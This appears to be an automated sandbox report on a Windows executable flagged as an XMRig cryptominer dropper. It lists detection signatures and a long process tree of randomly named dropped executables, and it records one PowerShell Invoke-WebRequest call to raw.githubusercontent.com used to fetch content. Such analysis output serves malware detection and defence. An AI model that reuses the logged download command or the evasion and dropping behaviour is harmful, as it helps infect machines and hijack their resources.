Analysis
- max time kernel
147s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/06/2024, 10:31
General
- Target a03125220faa85e8d21ea8fbe3c51880_NeikiAnalytics.exe
- Size 2.6MB
- Sample240603-mkfw2abd4s
- SHA256 63aaab4a7e6c0f0e8b74f0f8d9c85c9090168fced9942c4b8d06110b595df6ec
Score
10/10
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 64 IoCs
- Blocklisted process makes network request 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Drops file in Windows directory 64 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Modifies data under HKEY_USERS 18 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 9 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a03125220faa85e8d21ea8fbe3c51880_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\a03125220faa85e8d21ea8fbe3c51880_NeikiAnalytics.exe"1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System\QSEojmZ.exeC:\Windows\System\QSEojmZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\QkeBtyI.exeC:\Windows\System\QkeBtyI.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XfmRAJh.exeC:\Windows\System\XfmRAJh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XBZtjhC.exeC:\Windows\System\XBZtjhC.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\WpMypXd.exeC:\Windows\System\WpMypXd.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\joUJqsh.exeC:\Windows\System\joUJqsh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wxFnqzr.exeC:\Windows\System\wxFnqzr.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\jXtoBUP.exeC:\Windows\System\jXtoBUP.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sxvjntS.exeC:\Windows\System\sxvjntS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\xfEYGJt.exeC:\Windows\System\xfEYGJt.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\dblLbJm.exeC:\Windows\System\dblLbJm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\qInizRc.exeC:\Windows\System\qInizRc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\DFwkVGK.exeC:\Windows\System\DFwkVGK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\CXGSdXb.exeC:\Windows\System\CXGSdXb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\MViRcSv.exeC:\Windows\System\MViRcSv.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rTXnjTi.exeC:\Windows\System\rTXnjTi.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rqtmJqy.exeC:\Windows\System\rqtmJqy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\hgOlofk.exeC:\Windows\System\hgOlofk.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\NByyrsx.exeC:\Windows\System\NByyrsx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XIgEMQm.exeC:\Windows\System\XIgEMQm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ifDloVr.exeC:\Windows\System\ifDloVr.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\xcQgIBR.exeC:\Windows\System\xcQgIBR.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\kLxxPWx.exeC:\Windows\System\kLxxPWx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wucxYYj.exeC:\Windows\System\wucxYYj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\RHHPujO.exeC:\Windows\System\RHHPujO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rNkemDU.exeC:\Windows\System\rNkemDU.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bSdCQiM.exeC:\Windows\System\bSdCQiM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pCEatQT.exeC:\Windows\System\pCEatQT.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\qUkBVyb.exeC:\Windows\System\qUkBVyb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\LruCyTr.exeC:\Windows\System\LruCyTr.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ZrvjWrK.exeC:\Windows\System\ZrvjWrK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\kigrBRY.exeC:\Windows\System\kigrBRY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\raofoTm.exeC:\Windows\System\raofoTm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rDuAyBe.exeC:\Windows\System\rDuAyBe.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\LUctYFS.exeC:\Windows\System\LUctYFS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\UboDFdY.exeC:\Windows\System\UboDFdY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bOLZqao.exeC:\Windows\System\bOLZqao.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\qZxhulE.exeC:\Windows\System\qZxhulE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sKrjkMD.exeC:\Windows\System\sKrjkMD.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\WTpcLAg.exeC:\Windows\System\WTpcLAg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\SdoNWZI.exeC:\Windows\System\SdoNWZI.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mlZlJaY.exeC:\Windows\System\mlZlJaY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\DDqAoYj.exeC:\Windows\System\DDqAoYj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\unFFkwF.exeC:\Windows\System\unFFkwF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\uIhOBuY.exeC:\Windows\System\uIhOBuY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KLuBdys.exeC:\Windows\System\KLuBdys.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ylzzqHJ.exeC:\Windows\System\ylzzqHJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wahtlCQ.exeC:\Windows\System\wahtlCQ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\qXLODMn.exeC:\Windows\System\qXLODMn.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lcveeOo.exeC:\Windows\System\lcveeOo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vEuqkxK.exeC:\Windows\System\vEuqkxK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\CRWbBNG.exeC:\Windows\System\CRWbBNG.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\JZIRIsC.exeC:\Windows\System\JZIRIsC.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\cPPlZLx.exeC:\Windows\System\cPPlZLx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\DvvXUUj.exeC:\Windows\System\DvvXUUj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\YicwYVb.exeC:\Windows\System\YicwYVb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\YMEoeal.exeC:\Windows\System\YMEoeal.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\VKysmST.exeC:\Windows\System\VKysmST.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XKrwqsZ.exeC:\Windows\System\XKrwqsZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\iqhJuip.exeC:\Windows\System\iqhJuip.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\dEOpyHR.exeC:\Windows\System\dEOpyHR.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\jmzaRML.exeC:\Windows\System\jmzaRML.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ItmOkdZ.exeC:\Windows\System\ItmOkdZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\kKxHpxi.exeC:\Windows\System\kKxHpxi.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\EHxJszh.exeC:\Windows\System\EHxJszh.exe2⤵
-
-
C:\Windows\System\CGRUemu.exeC:\Windows\System\CGRUemu.exe2⤵
-
-
C:\Windows\System\vMxDfaf.exeC:\Windows\System\vMxDfaf.exe2⤵
-
-
C:\Windows\System\rRYPLIF.exeC:\Windows\System\rRYPLIF.exe2⤵
-
-
C:\Windows\System\SaaQLpU.exeC:\Windows\System\SaaQLpU.exe2⤵
-
-
C:\Windows\System\UCYgtqB.exeC:\Windows\System\UCYgtqB.exe2⤵
-
-
C:\Windows\System\CjdefjX.exeC:\Windows\System\CjdefjX.exe2⤵
-
-
C:\Windows\System\pbIjfsG.exeC:\Windows\System\pbIjfsG.exe2⤵
-
-
C:\Windows\System\IgQjhUQ.exeC:\Windows\System\IgQjhUQ.exe2⤵
-
-
C:\Windows\System\rkVAwBY.exeC:\Windows\System\rkVAwBY.exe2⤵
-
-
C:\Windows\System\neRBkXG.exeC:\Windows\System\neRBkXG.exe2⤵
-
-
C:\Windows\System\nWsWmRb.exeC:\Windows\System\nWsWmRb.exe2⤵
-
-
C:\Windows\System\MSpVlYW.exeC:\Windows\System\MSpVlYW.exe2⤵
-
-
C:\Windows\System\iKZUkOs.exeC:\Windows\System\iKZUkOs.exe2⤵
-
-
C:\Windows\System\IQQmAJX.exeC:\Windows\System\IQQmAJX.exe2⤵
-
-
C:\Windows\System\mqzJCtN.exeC:\Windows\System\mqzJCtN.exe2⤵
-
-
C:\Windows\System\moBrmzV.exeC:\Windows\System\moBrmzV.exe2⤵
-
-
C:\Windows\System\jisyGRi.exeC:\Windows\System\jisyGRi.exe2⤵
-
-
C:\Windows\System\DlTUESJ.exeC:\Windows\System\DlTUESJ.exe2⤵
-
-
C:\Windows\System\IcMjmIa.exeC:\Windows\System\IcMjmIa.exe2⤵
-
-
C:\Windows\System\oLzMRZE.exeC:\Windows\System\oLzMRZE.exe2⤵
-
-
C:\Windows\System\xEXAXfY.exeC:\Windows\System\xEXAXfY.exe2⤵
-
-
C:\Windows\System\yFcJprN.exeC:\Windows\System\yFcJprN.exe2⤵
-
-
C:\Windows\System\iaaUrbh.exeC:\Windows\System\iaaUrbh.exe2⤵
-
-
C:\Windows\System\NlwcMfx.exeC:\Windows\System\NlwcMfx.exe2⤵
-
-
C:\Windows\System\WaRaJLA.exeC:\Windows\System\WaRaJLA.exe2⤵
-
-
C:\Windows\System\KesUqgh.exeC:\Windows\System\KesUqgh.exe2⤵
-
-
C:\Windows\System\bkIwAtS.exeC:\Windows\System\bkIwAtS.exe2⤵
-
-
C:\Windows\System\iyJhVDb.exeC:\Windows\System\iyJhVDb.exe2⤵
-
-
C:\Windows\System\MZhFqbo.exeC:\Windows\System\MZhFqbo.exe2⤵
-
-
C:\Windows\System\poXgmOx.exeC:\Windows\System\poXgmOx.exe2⤵
-
-
C:\Windows\System\uYTTsZZ.exeC:\Windows\System\uYTTsZZ.exe2⤵
-
-
C:\Windows\System\bUwlveW.exeC:\Windows\System\bUwlveW.exe2⤵
-
-
C:\Windows\System\PkhGeMa.exeC:\Windows\System\PkhGeMa.exe2⤵
-
-
C:\Windows\System\NPwOZuu.exeC:\Windows\System\NPwOZuu.exe2⤵
-
-
C:\Windows\System\wZivEun.exeC:\Windows\System\wZivEun.exe2⤵
-
-
C:\Windows\System\OonPxei.exeC:\Windows\System\OonPxei.exe2⤵
-
-
C:\Windows\System\okUuzmc.exeC:\Windows\System\okUuzmc.exe2⤵
-
-
C:\Windows\System\JkrqtQg.exeC:\Windows\System\JkrqtQg.exe2⤵
-
-
C:\Windows\System\mloOgbk.exeC:\Windows\System\mloOgbk.exe2⤵
-
-
C:\Windows\System\SUXWoUo.exeC:\Windows\System\SUXWoUo.exe2⤵
-
-
C:\Windows\System\ouBCEIv.exeC:\Windows\System\ouBCEIv.exe2⤵
-
-
C:\Windows\System\ZaIbKfn.exeC:\Windows\System\ZaIbKfn.exe2⤵
-
-
C:\Windows\System\qOzOigS.exeC:\Windows\System\qOzOigS.exe2⤵
-
-
C:\Windows\System\pwzKQMS.exeC:\Windows\System\pwzKQMS.exe2⤵
-
-
C:\Windows\System\JCajECI.exeC:\Windows\System\JCajECI.exe2⤵
-
-
C:\Windows\System\rmEKQVS.exeC:\Windows\System\rmEKQVS.exe2⤵
-
-
C:\Windows\System\fuUgcKB.exeC:\Windows\System\fuUgcKB.exe2⤵
-
-
C:\Windows\System\KnuNuYH.exeC:\Windows\System\KnuNuYH.exe2⤵
-
-
C:\Windows\System\VJOWGEI.exeC:\Windows\System\VJOWGEI.exe2⤵
-
-
C:\Windows\System\jOzDwDX.exeC:\Windows\System\jOzDwDX.exe2⤵
-
-
C:\Windows\System\nvtNxUO.exeC:\Windows\System\nvtNxUO.exe2⤵
-
-
C:\Windows\System\QSiRvSG.exeC:\Windows\System\QSiRvSG.exe2⤵
-
-
C:\Windows\System\pctnaUo.exeC:\Windows\System\pctnaUo.exe2⤵
-
-
C:\Windows\System\xgzHeGt.exeC:\Windows\System\xgzHeGt.exe2⤵
-
-
C:\Windows\System\UFeFivm.exeC:\Windows\System\UFeFivm.exe2⤵
-
-
C:\Windows\System\kOWNFnq.exeC:\Windows\System\kOWNFnq.exe2⤵
-
-
C:\Windows\System\VwqwLUT.exeC:\Windows\System\VwqwLUT.exe2⤵
-
-
C:\Windows\System\uSZONER.exeC:\Windows\System\uSZONER.exe2⤵
-
-
C:\Windows\System\PvSzioG.exeC:\Windows\System\PvSzioG.exe2⤵
-
-
C:\Windows\System\chbklLq.exeC:\Windows\System\chbklLq.exe2⤵
-
-
C:\Windows\System\ukrFJdj.exeC:\Windows\System\ukrFJdj.exe2⤵
-
-
C:\Windows\System\BsFhaHw.exeC:\Windows\System\BsFhaHw.exe2⤵
-
-
C:\Windows\System\RxKPICK.exeC:\Windows\System\RxKPICK.exe2⤵
-
-
C:\Windows\System\yedxtFZ.exeC:\Windows\System\yedxtFZ.exe2⤵
-
-
C:\Windows\System\zaUdxhT.exeC:\Windows\System\zaUdxhT.exe2⤵
-
-
C:\Windows\System\emeSzff.exeC:\Windows\System\emeSzff.exe2⤵
-
-
C:\Windows\System\Axmhrnk.exeC:\Windows\System\Axmhrnk.exe2⤵
-
-
C:\Windows\System\ZIlzufm.exeC:\Windows\System\ZIlzufm.exe2⤵
-
-
C:\Windows\System\WveIIpd.exeC:\Windows\System\WveIIpd.exe2⤵
-
-
C:\Windows\System\lhitloX.exeC:\Windows\System\lhitloX.exe2⤵
-
-
C:\Windows\System\YYDtvzv.exeC:\Windows\System\YYDtvzv.exe2⤵
-
-
C:\Windows\System\rWAMOAT.exeC:\Windows\System\rWAMOAT.exe2⤵
-
-
C:\Windows\System\JNnqcRe.exeC:\Windows\System\JNnqcRe.exe2⤵
-
-
C:\Windows\System\tBthKcN.exeC:\Windows\System\tBthKcN.exe2⤵
-
-
C:\Windows\System\qQHowWW.exeC:\Windows\System\qQHowWW.exe2⤵
-
-
C:\Windows\System\lJroyhE.exeC:\Windows\System\lJroyhE.exe2⤵
-
-
C:\Windows\System\UpjyDWu.exeC:\Windows\System\UpjyDWu.exe2⤵
-
-
C:\Windows\System\SXIbEOU.exeC:\Windows\System\SXIbEOU.exe2⤵
-
-
C:\Windows\System\sKYWbTi.exeC:\Windows\System\sKYWbTi.exe2⤵
-
-
C:\Windows\System\bRAvSBx.exeC:\Windows\System\bRAvSBx.exe2⤵
-
-
C:\Windows\System\AuvKVjH.exeC:\Windows\System\AuvKVjH.exe2⤵
-
-
C:\Windows\System\ExcYOEL.exeC:\Windows\System\ExcYOEL.exe2⤵
-
-
C:\Windows\System\vAmPUGm.exeC:\Windows\System\vAmPUGm.exe2⤵
-
-
C:\Windows\System\fpxVEFQ.exeC:\Windows\System\fpxVEFQ.exe2⤵
-
-
C:\Windows\System\iDsnGmc.exeC:\Windows\System\iDsnGmc.exe2⤵
-
-
C:\Windows\System\epdlHpB.exeC:\Windows\System\epdlHpB.exe2⤵
-
-
C:\Windows\System\NLsEUYB.exeC:\Windows\System\NLsEUYB.exe2⤵
-
-
C:\Windows\System\QiAJbYg.exeC:\Windows\System\QiAJbYg.exe2⤵
-
-
C:\Windows\System\dMnHvzT.exeC:\Windows\System\dMnHvzT.exe2⤵
-
-
C:\Windows\System\tDRrCdk.exeC:\Windows\System\tDRrCdk.exe2⤵
-
-
C:\Windows\System\ahPSnHO.exeC:\Windows\System\ahPSnHO.exe2⤵
-
-
C:\Windows\System\vVGCCrx.exeC:\Windows\System\vVGCCrx.exe2⤵
-
-
C:\Windows\System\STOcqQC.exeC:\Windows\System\STOcqQC.exe2⤵
-
-
C:\Windows\System\bgCJmvh.exeC:\Windows\System\bgCJmvh.exe2⤵
-
-
C:\Windows\System\nomdUME.exeC:\Windows\System\nomdUME.exe2⤵
-
-
C:\Windows\System\uVEYpzj.exeC:\Windows\System\uVEYpzj.exe2⤵
-
-
C:\Windows\System\GqBKEDc.exeC:\Windows\System\GqBKEDc.exe2⤵
-
-
C:\Windows\System\aMZQgCc.exeC:\Windows\System\aMZQgCc.exe2⤵
-
-
C:\Windows\System\KafGCwH.exeC:\Windows\System\KafGCwH.exe2⤵
-
-
C:\Windows\System\RvpMCNH.exeC:\Windows\System\RvpMCNH.exe2⤵
-
-
C:\Windows\System\qWWQQXV.exeC:\Windows\System\qWWQQXV.exe2⤵
-
-
C:\Windows\System\DZypWGH.exeC:\Windows\System\DZypWGH.exe2⤵
-
-
C:\Windows\System\OEHrIiS.exeC:\Windows\System\OEHrIiS.exe2⤵
-
-
C:\Windows\System\vKUuZUR.exeC:\Windows\System\vKUuZUR.exe2⤵
-
-
C:\Windows\System\qUZhVJI.exeC:\Windows\System\qUZhVJI.exe2⤵
-
-
C:\Windows\System\PuTIpGF.exeC:\Windows\System\PuTIpGF.exe2⤵
-
-
C:\Windows\System\ojIbAWz.exeC:\Windows\System\ojIbAWz.exe2⤵
-
-
C:\Windows\System\zmdILcW.exeC:\Windows\System\zmdILcW.exe2⤵
-
-
C:\Windows\System\yBZdeeU.exeC:\Windows\System\yBZdeeU.exe2⤵
-
-
C:\Windows\System\yObVacK.exeC:\Windows\System\yObVacK.exe2⤵
-
-
C:\Windows\System\BzQmaFS.exeC:\Windows\System\BzQmaFS.exe2⤵
-
-
C:\Windows\System\MeMvQFv.exeC:\Windows\System\MeMvQFv.exe2⤵
-
-
C:\Windows\System\ADppdtm.exeC:\Windows\System\ADppdtm.exe2⤵
-
-
C:\Windows\System\aBhGNsr.exeC:\Windows\System\aBhGNsr.exe2⤵
-
-
C:\Windows\System\vQzXVsH.exeC:\Windows\System\vQzXVsH.exe2⤵
-
-
C:\Windows\System\KtKDKHG.exeC:\Windows\System\KtKDKHG.exe2⤵
-
-
C:\Windows\System\IkmEWuY.exeC:\Windows\System\IkmEWuY.exe2⤵
-
-
C:\Windows\System\TUKzMQw.exeC:\Windows\System\TUKzMQw.exe2⤵
-
-
C:\Windows\System\cUwIFoc.exeC:\Windows\System\cUwIFoc.exe2⤵
-
-
C:\Windows\System\BmTznYn.exeC:\Windows\System\BmTznYn.exe2⤵
-
-
C:\Windows\System\rDafNOA.exeC:\Windows\System\rDafNOA.exe2⤵
-
-
C:\Windows\System\AnMTGWQ.exeC:\Windows\System\AnMTGWQ.exe2⤵
-
-
C:\Windows\System\RczVVmA.exeC:\Windows\System\RczVVmA.exe2⤵
-
-
C:\Windows\System\mGEtZbJ.exeC:\Windows\System\mGEtZbJ.exe2⤵
-
-
C:\Windows\System\HhStEaT.exeC:\Windows\System\HhStEaT.exe2⤵
-
-
C:\Windows\System\bFfYMXg.exeC:\Windows\System\bFfYMXg.exe2⤵
-
-
C:\Windows\System\Lpgexzl.exeC:\Windows\System\Lpgexzl.exe2⤵
-
-
C:\Windows\System\dFAupkC.exeC:\Windows\System\dFAupkC.exe2⤵
-
-
C:\Windows\System\QWUQWbn.exeC:\Windows\System\QWUQWbn.exe2⤵
-
-
C:\Windows\System\FxzkYXa.exeC:\Windows\System\FxzkYXa.exe2⤵
-
-
C:\Windows\System\LAXPvko.exeC:\Windows\System\LAXPvko.exe2⤵
-
-
C:\Windows\System\cUNBXwW.exeC:\Windows\System\cUNBXwW.exe2⤵
-
-
C:\Windows\System\qzAPShe.exeC:\Windows\System\qzAPShe.exe2⤵
-
-
C:\Windows\System\HqDIJmQ.exeC:\Windows\System\HqDIJmQ.exe2⤵
-
-
C:\Windows\System\CWvZddC.exeC:\Windows\System\CWvZddC.exe2⤵
-
-
C:\Windows\System\inHkjxn.exeC:\Windows\System\inHkjxn.exe2⤵
-
-
C:\Windows\System\PzWaaIG.exeC:\Windows\System\PzWaaIG.exe2⤵
-
-
C:\Windows\System\qmWTqtO.exeC:\Windows\System\qmWTqtO.exe2⤵
-
-
C:\Windows\System\PCBRewG.exeC:\Windows\System\PCBRewG.exe2⤵
-
-
C:\Windows\System\tFZuAGN.exeC:\Windows\System\tFZuAGN.exe2⤵
-
-
C:\Windows\System\TCjhFbF.exeC:\Windows\System\TCjhFbF.exe2⤵
-
-
C:\Windows\System\awuUQMN.exeC:\Windows\System\awuUQMN.exe2⤵
-
-
C:\Windows\System\CLmcNDR.exeC:\Windows\System\CLmcNDR.exe2⤵
-
-
C:\Windows\System\amtonFN.exeC:\Windows\System\amtonFN.exe2⤵
-
-
C:\Windows\System\xumLejq.exeC:\Windows\System\xumLejq.exe2⤵
-
-
C:\Windows\System\FSOniYA.exeC:\Windows\System\FSOniYA.exe2⤵
-
-
C:\Windows\System\bXTLGkA.exeC:\Windows\System\bXTLGkA.exe2⤵
-
-
C:\Windows\System\sAGcFXn.exeC:\Windows\System\sAGcFXn.exe2⤵
-
-
C:\Windows\System\VxEfAvA.exeC:\Windows\System\VxEfAvA.exe2⤵
-
-
C:\Windows\System\wkBNJYa.exeC:\Windows\System\wkBNJYa.exe2⤵
-
-
C:\Windows\System\yZPKmFt.exeC:\Windows\System\yZPKmFt.exe2⤵
-
-
C:\Windows\System\EuDjlHX.exeC:\Windows\System\EuDjlHX.exe2⤵
-
-
C:\Windows\System\goaDuOU.exeC:\Windows\System\goaDuOU.exe2⤵
-
-
C:\Windows\System\bgOxbSa.exeC:\Windows\System\bgOxbSa.exe2⤵
-
-
C:\Windows\System\PIlVyiu.exeC:\Windows\System\PIlVyiu.exe2⤵
-
-
C:\Windows\System\bdjuafK.exeC:\Windows\System\bdjuafK.exe2⤵
-
-
C:\Windows\System\OzushXt.exeC:\Windows\System\OzushXt.exe2⤵
-
-
C:\Windows\System\eXrelFV.exeC:\Windows\System\eXrelFV.exe2⤵
-
-
C:\Windows\System\oAyFlzX.exeC:\Windows\System\oAyFlzX.exe2⤵
-
-
C:\Windows\System\SJaLQAE.exeC:\Windows\System\SJaLQAE.exe2⤵
-
-
C:\Windows\System\RhSwfQR.exeC:\Windows\System\RhSwfQR.exe2⤵
-
-
C:\Windows\System\bZWZMNM.exeC:\Windows\System\bZWZMNM.exe2⤵
-
-
C:\Windows\System\GjzCzfb.exeC:\Windows\System\GjzCzfb.exe2⤵
-
-
C:\Windows\System\gDWjAjm.exeC:\Windows\System\gDWjAjm.exe2⤵
-
-
C:\Windows\System\fIHKwKi.exeC:\Windows\System\fIHKwKi.exe2⤵
-
-
C:\Windows\System\jOMBDoC.exeC:\Windows\System\jOMBDoC.exe2⤵
-
-
C:\Windows\System\eJfigPX.exeC:\Windows\System\eJfigPX.exe2⤵
-
-
C:\Windows\System\RLMeySH.exeC:\Windows\System\RLMeySH.exe2⤵
-
-
C:\Windows\System\kvOaPOI.exeC:\Windows\System\kvOaPOI.exe2⤵
-
-
C:\Windows\System\wXWfigJ.exeC:\Windows\System\wXWfigJ.exe2⤵
-
-
C:\Windows\System\AgXgOcl.exeC:\Windows\System\AgXgOcl.exe2⤵
-
-
C:\Windows\System\JwrlloM.exeC:\Windows\System\JwrlloM.exe2⤵
-
-
C:\Windows\System\ceTcwQB.exeC:\Windows\System\ceTcwQB.exe2⤵
-
-
C:\Windows\System\OdRobps.exeC:\Windows\System\OdRobps.exe2⤵
-
-
C:\Windows\System\zZsVBUd.exeC:\Windows\System\zZsVBUd.exe2⤵
-
-
C:\Windows\System\oUNaOOv.exeC:\Windows\System\oUNaOOv.exe2⤵
-
-
C:\Windows\System\XHwRQBH.exeC:\Windows\System\XHwRQBH.exe2⤵
-
-
C:\Windows\System\RlorYIl.exeC:\Windows\System\RlorYIl.exe2⤵
-
-
C:\Windows\System\sMEJgCV.exeC:\Windows\System\sMEJgCV.exe2⤵
-
-
C:\Windows\System\rAeAYjM.exeC:\Windows\System\rAeAYjM.exe2⤵
-
-
C:\Windows\System\QABWyRB.exeC:\Windows\System\QABWyRB.exe2⤵
-
-
C:\Windows\System\onvAegT.exeC:\Windows\System\onvAegT.exe2⤵
-
-
C:\Windows\System\UdsSKgA.exeC:\Windows\System\UdsSKgA.exe2⤵
-
-
C:\Windows\System\sGvEFnp.exeC:\Windows\System\sGvEFnp.exe2⤵
-
-
C:\Windows\System\SHbLpqV.exeC:\Windows\System\SHbLpqV.exe2⤵
-
-
C:\Windows\System\COPhEcJ.exeC:\Windows\System\COPhEcJ.exe2⤵
-
-
C:\Windows\System\prWQHCu.exeC:\Windows\System\prWQHCu.exe2⤵
-
-
C:\Windows\System\YxKHTiw.exeC:\Windows\System\YxKHTiw.exe2⤵
-
-
C:\Windows\System\yNzgrJs.exeC:\Windows\System\yNzgrJs.exe2⤵
-
-
C:\Windows\System\TqAvtzp.exeC:\Windows\System\TqAvtzp.exe2⤵
-
-
C:\Windows\System\zSSbkje.exeC:\Windows\System\zSSbkje.exe2⤵
-
-
C:\Windows\System\SSprNME.exeC:\Windows\System\SSprNME.exe2⤵
-
-
C:\Windows\System\hgRZcEe.exeC:\Windows\System\hgRZcEe.exe2⤵
-
-
C:\Windows\System\QRUEjds.exeC:\Windows\System\QRUEjds.exe2⤵
-
-
C:\Windows\System\bCKtmlt.exeC:\Windows\System\bCKtmlt.exe2⤵
-
-
C:\Windows\System\aJBFiIl.exeC:\Windows\System\aJBFiIl.exe2⤵
-
-
C:\Windows\System\nGEzciI.exeC:\Windows\System\nGEzciI.exe2⤵
-
-
C:\Windows\System\FJWjOhh.exeC:\Windows\System\FJWjOhh.exe2⤵
-
-
C:\Windows\System\LREvBOI.exeC:\Windows\System\LREvBOI.exe2⤵
-
-
C:\Windows\System\YkYVgHj.exeC:\Windows\System\YkYVgHj.exe2⤵
-
-
C:\Windows\System\oHlQFGV.exeC:\Windows\System\oHlQFGV.exe2⤵
-
-
C:\Windows\System\HfLHMEa.exeC:\Windows\System\HfLHMEa.exe2⤵
-
-
C:\Windows\System\CKSWgXS.exeC:\Windows\System\CKSWgXS.exe2⤵
-
-
C:\Windows\System\VCYBBNh.exeC:\Windows\System\VCYBBNh.exe2⤵
-
-
C:\Windows\System\gfWfHhc.exeC:\Windows\System\gfWfHhc.exe2⤵
-
-
C:\Windows\System\XMjxbPT.exeC:\Windows\System\XMjxbPT.exe2⤵
-
-
C:\Windows\System\kuchJzQ.exeC:\Windows\System\kuchJzQ.exe2⤵
-
-
C:\Windows\System\ChBxXBS.exeC:\Windows\System\ChBxXBS.exe2⤵
-
-
C:\Windows\System\BEODIHU.exeC:\Windows\System\BEODIHU.exe2⤵
-
-
C:\Windows\System\ShBTMUr.exeC:\Windows\System\ShBTMUr.exe2⤵
-
-
C:\Windows\System\FpTrDIG.exeC:\Windows\System\FpTrDIG.exe2⤵
-
-
C:\Windows\System\qQRynFl.exeC:\Windows\System\qQRynFl.exe2⤵
-
-
C:\Windows\System\yuWHqId.exeC:\Windows\System\yuWHqId.exe2⤵
-
-
C:\Windows\System\bjAaDkE.exeC:\Windows\System\bjAaDkE.exe2⤵
-
-
C:\Windows\System\sMXHahq.exeC:\Windows\System\sMXHahq.exe2⤵
-
-
C:\Windows\System\OBMsDOn.exeC:\Windows\System\OBMsDOn.exe2⤵
-
-
C:\Windows\System\uhxkiTQ.exeC:\Windows\System\uhxkiTQ.exe2⤵
-
-
C:\Windows\System\xrjdWBb.exeC:\Windows\System\xrjdWBb.exe2⤵
-
-
C:\Windows\System\SgFfIyS.exeC:\Windows\System\SgFfIyS.exe2⤵
-
-
C:\Windows\System\rbpguNS.exeC:\Windows\System\rbpguNS.exe2⤵
-
-
C:\Windows\System\TbxTbCo.exeC:\Windows\System\TbxTbCo.exe2⤵
-
-
C:\Windows\System\fyCXkUe.exeC:\Windows\System\fyCXkUe.exe2⤵
-
-
C:\Windows\System\JGPbpko.exeC:\Windows\System\JGPbpko.exe2⤵
-
-
